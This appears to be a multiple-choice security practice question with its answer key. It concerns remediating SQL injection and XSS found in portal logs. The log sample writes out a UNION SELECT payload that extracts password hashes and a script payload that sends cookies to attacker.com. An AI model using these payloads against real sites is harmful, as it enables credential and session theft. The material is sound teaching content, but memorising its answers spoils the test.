A security analyst investigates application logs following an intrusion alert on a customer-facing portal and identifies two distinct HTTP request strings executed in rapid succession:
text
GET /search.php?item=102%20UNION%20SELECT%20username,password_hash%20FROM%20accounts-- HTTP/1.1
POST /feedback.php HTTP/1.1
Host: portal.example.com
Content-Type: application/x-www-form-urlencoded
comment=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
Based on the log evidence provided, which of the following software remediations must the development team implement to eliminate these specific application vulnerabilities? (Select TWO.)
- Enforce parameterized SQL queries and prepared statements within the database abstraction layer for search queries.Cevap
- Apply contextual HTML entity output encoding to user-supplied input prior to rendering it within the web application interface.Cevap
- CDeploy stateful network firewall rules to drop inbound HTTP traffic containing database query keywords.
- DConfigure mandatory multi-factor authentication (MFA) on the application login portal to restrict database read permissions.
Cevap
The correct remediations are implementing parameterized SQL queries (prepared statements) to mitigate the SQL injection vulnerability and utilizing contextual output encoding to neutralize the Cross-Site Scripting (XSS) attack.
The logs reflect two classic web application attack vectors: SQL Injection (manipulating backend database logic via unvalidated parameters) and Cross-Site Scripting (injecting malicious client-side scripts into web pages). The proper software development remedies are parameterized database queries (prepared statements) to isolate parameter inputs from SQL syntax, and contextual output encoding to prevent user-controlled scripts from executing inside the victim's browser.
Adım Adım Çözüm
Anahtar Kavram
Application Input Validation and Output Encoding Mitigations